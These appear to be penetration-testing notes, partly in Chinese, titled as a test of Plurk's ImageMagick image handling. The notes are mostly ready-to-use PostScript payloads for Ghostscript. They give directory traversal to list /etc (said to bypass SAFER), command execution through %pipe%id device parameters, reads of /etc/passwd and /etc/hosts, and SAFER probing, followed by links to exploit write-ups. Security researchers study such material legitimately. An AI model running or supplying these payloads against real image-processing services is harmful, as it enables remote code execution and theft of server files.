Plurk Imagemagick Test
===
# Memleak
https://github.com/neex/gifoeb

# Postscript
### Common Header

%!PS-Adobe-1.0
%%Creator: PS_Write.F
%%CreationDate: 09/29/99
%%Title: region.ps
%%Document-Fonts: Times-Roman
%%BoundingBox:  0   0  1000  500
%%BeginProlog
%%EndProlog
/Palatino-Roman findfont
0.0000 0.0000 0.0000 setrgbcolor
%%Page:     1    1
/Times-Roman findfont
20 scalefont
setfont

newpath
100 400 moveto

/start_height 400 def
/left_maigin 50 def
/line_height 20 def
/br {
    start_height line_height sub
    /start_height exch def
    left_maigin start_height moveto
} def
left_maigin start_height moveto

/nstr 100 string def
/prt-n { nstr cvs show br} def

---
- 目錄遍歷 (可繞過SAFER)
`(/usr/share/fonts/../../../../../../../../etc/*) {show br} 1024 string filenameforall`

- 檢查SAFER開啟狀態

(SAFER state:) show br
SAFETY /safe get {(True)} {(False)} ifelse
show

- 檢查SAFER Allow 的路徑
`userparams {exch ==only ( ) print ==} forall`

- RCE (只有gs底下能運作，且最新版SAFER無法運作)

currentdevice null true mark
/OutputICCProfile (%pipe%id > /dev/tty)
.putdeviceparams

- RCE (NOSAFER only)

mark
/OutputFile (%pipe%id)
(pdfwrite)finddevice
putdeviceprops
setdevice

- 檢查檔案狀態

/ss {
    {
        (Stat Succeeded) show br
        (Ctime:) show
        prt-n
        (Ctime:) show
        prt-n
        (Size:) show
        prt-n
        (Blocks:) show
        prt-n
    }{
        (stat failed\n) show
    } ifelse
} def
(/var/lib/ghostscript/fonts/../../../../../etc/passwd) dup show br status ss

- 一次檢查多個檔案狀態

/stat {
   status {
    (------------------------------) show br
	(Stat Succeeded) show br
	(------------------------------) show br
        (Ctime:  ) show
        prt-n
        (Atime:  ) show
        prt-n
        (Size:      ) show
        prt-n
        (Blocks:  ) show
        prt-n
	(------------------------------) show br br 
    }{
	br
	(------------------------------) show br
        (stat failed\n) show br
	(------------------------------) show br br 
    } ifelse
} def

/str 1024 string def (/var/lib/ghostscript/fonts/../../../../../../../../etc/passwd*)
{
	(FILEPATH: ) show
	show br
	str dup
	stat
	br
} str filenameforall

- 讀檔 (NOSAFER only)

/buff 2048 string def
/file_obj (/etc/passwd) (r) file def
file_obj buff readstring
buff print

> [name=海豹] 這裡路徑也可以用相對路徑的方式，但是../個數要正確，且還是無法繞過SAFER

- Libfile 讀檔 (NOSAFER only)

(/etc/hosts) .libfile {
256 string readstring
} if
{print} if

:::info
**.libfile** can replace by **findlibfile**
:::

- Stdin (在Plurk上會block住)

/stdin (%stdin) (r) file def
stdin 1024 string readstring pop show

---
### Common Footer

showpage
%%Trailer
%%Pages:      1
%%EOF
quit

### Reference

- Weaponizing PostScript
- https://lamehackersguide.blogspot.tw/2017/02/weaponizing-postscript.html
- https://lamehackersguide.blogspot.tw/2017/02/weaponizing-postscript-update.html
- PostScript Tutorial
- http://paulbourke.net/dataformats/postscript/
- PostScript语言安全研究(ImageMagick新漏洞分析)
- https://paper.seebug.org/68/
- bugs postscript
- http://bugs.ghostscript.com/
- ghostscript doc
- http://www.ghostscript.com/doc/
- Lastest Update: **2017-10-04**
- Version: **9.22**
- Imagemagick memleak
- https://github.com/neex/gifoeb
- Exploiting Python PIL Module Command Execution Vulnerability
- https://paper.seebug.org/405/
- GhostButt - CVE-2017-8291利用分析
- https://paper.seebug.org/310/
- GhostButt!
- http://ghostbutt.com/
- 搭建 ImageMagick 命令执行漏洞（CVE-2016–3714）环境
- https://github.com/Medicean/VulApps/tree/master/i/imagemagick/1
- PostScript Language Tutorial & Cookbook
- https://www-cdf.fnal.gov/offline/PostScript/BLUEBOOK.PDF